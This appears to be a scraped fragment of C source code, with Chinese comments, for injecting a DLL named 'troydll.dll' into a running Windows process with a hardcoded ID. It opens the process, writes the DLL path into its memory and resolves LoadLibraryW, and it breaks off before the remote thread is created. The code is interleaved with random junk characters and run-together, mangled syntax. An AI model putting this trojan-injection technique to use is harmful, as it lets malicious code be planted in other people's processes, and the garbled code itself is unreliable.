HANDLEhRemoteThread,hRemoteProcess;
$ Y" e/ E" Y2 e2 S' Y3 E DWORDfdwCreate,dwStackSize,dwRemoteProcessId;9 U' _8 @/ A: f' ?
PWSTRpszLibFileRemote=NULL;
$ A+ X# h# v0 D" @7 c- E3 t voidmain(intargc,char**argv)
( R$ X* P: Y9 m' q- i9 e {$ t9 E% Y( E4 b; Q; x% _
intiReturnCode;+ M1 `5 F0 f* m9 S/ k' }# D6 o+ P
charlpDllFullPathName[MAX_PATH];# a" Z) O1 X4 x: {( m7 D- |: ^
WCHARpszLibFileName[MAX_PATH]={0};
1 q1 R% R: u6 `6 L$ A, X dwRemoteProcessId=4000;5 F8 n9 o' r8 a; V
strcpy(lpDllFullPathName,“"d:““““troydll.dll“");
' G. r* z0 g% J3 }7 U' T& U //将DLL文件全路径的ANSI码转换成UNICODE码. \) c5 g+ S- y5 K- h) K2 m
iReturnCode=MultiByteToWideChar(CP_ACP,MB_ERR_INVALID_CHARS,
S& s' D- W; X* ]/ G lpDllFullPathName,strlen(lpDllFullPathName),' d# V0 V/ i0 ~6 P
pszLibFileName,MAX_PATH);: h$ K8 i. K$ R" o- |2 M" d4 h
CheckError(iReturnCode,0,“"MultByteToWideChar“");) b: i9 r/ u# ?
//打开远程进程
! a7 }0 k: L9 N' G hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD//允许创建线程+ S9 F0 e9 D& S' R3 }0 C8 E
PROCESS_VM_OPERATION//允许VM操作
+ S% c& h$ ]1 C, P* S! [+ k% \ PROCESS_VM_WRITE,//允许VM写' O5 ~9 j3 U" y8 A+ b) v. H. ?% J/ ]
FALSE,dwRemoteProcessId);
. \; t: {, ~. A: x b. p6 Q CheckError((int)hRemoteProcess,NULL,“"RemoteProcessnotExistorAccessDenied!“");
# R, f9 B( Q! G //计算DLL路径名需要的内存空间2 @4 J" } f- c
intcb=(1+lstrlenW(pszLibFileName))*sizeof(WCHAR); Z7 L' \0 ^1 g6 }4 o* s2 x
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
( q1 g% @- a" _5 E# X. d CheckError((int)pszLibFileRemote,NULL,“"VirtualAllocEx“");
+ [6 l7 i, C: |, {5 ] //将DLL的路径名复制到远程进程的内存空间: g$ Q$ j- o2 _
iReturnCode=WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(PVOID)pszLibFileName,cb,NULL);+ y& J6 ^1 E/ m% S& e( s
CheckError(iReturnCode,false,“"WriteProcessMemory“");# U2 A* |# Z1 H" k& ]
//计算LoadLibraryW的入口地址: z* I" r/ C$ ~6 ?- a
PTHREAD_START_ROUTINEpfnStartAddr=(PTHREAD_START_ROUTINE)
' d9 n4 H5 B0 s' |7 z1 t GetProcAddress(GetModuleHandle(TEXT(“"Kernel32“")),“"LoadLibraryW“");' l4 N* g% ]7 s) x
CheckError((int)pfnStartAddr,NULL,“"GetProcAddress“");
- H% F1 r0 U$ a- b1 ~ //启动远程线程,通过远程线程调用用户的DLL文件 |